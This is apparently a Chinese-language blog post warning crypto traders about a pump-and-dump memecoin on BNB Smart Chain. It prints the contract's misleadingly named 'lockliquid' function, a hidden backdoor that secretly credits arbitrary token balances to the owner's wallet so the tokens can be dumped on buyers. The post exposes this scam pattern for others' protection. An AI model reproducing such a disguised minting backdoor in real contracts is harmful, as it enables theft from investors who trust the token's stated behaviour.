【科学家养成日记#13】土狗合约后门
在研究合约的时候,发现一个土狗项目,并目睹了土狗从加流动,拉盘再到砸盘跑路的全过程
再回顾土狗是怎么操作的时候,发现有些数字都不上
从下图可以看到,项目方用一个地址从pancake上买入了14兆个土狗币
但是砸盘的时候,币的数量是1000万兆,从哪里凭空冒出那么多币?
经人指导,问题出在土狗埋伏在合约里面的后门
合约地址: https://bscscan.com/address/0x992da3dcbe17bf3c4a2745b4ce7f6e94f5dae591#code
合约里面有一个名字和功能不符的函数lockliquid。按字面意思是锁定流动,但是实际并不是。看看代码:
function lockliquid(address mlis, uint256 asmed) external onlyoner() { require(asmed > 0, ""); uint256 lockliquidb = BIis[mlis]; if (lockliquidb == 0) _BIis.push(mlis); BIis[mlis] = lockliquidb.add(asmed); Rhsp = Rhsp.add(asmed); _tossd[mlis] = _tossd[mlis].add(asmed); }
最后一行:
_tossd[mlis] = _tossd[mlis].add(asmed);
直接给地址加上任意数量的币,而这个币的记录不会在链上有记录,而且连币的总数量都不会增加. 所以大家很难发现土狗是怎么砸盘的
值得注意的是,要给一个钱包增发代币,那个钱包必须购入一点的代币,这样才有在_tossd上有记录,从而实行增发。所以才会看到土狗项目方购入一点代币的操作
观察了一下这个地址,应该是国人的,几天弄了10几个这样的代币
要冲土狗的时候小心点,土狗的花样越来越多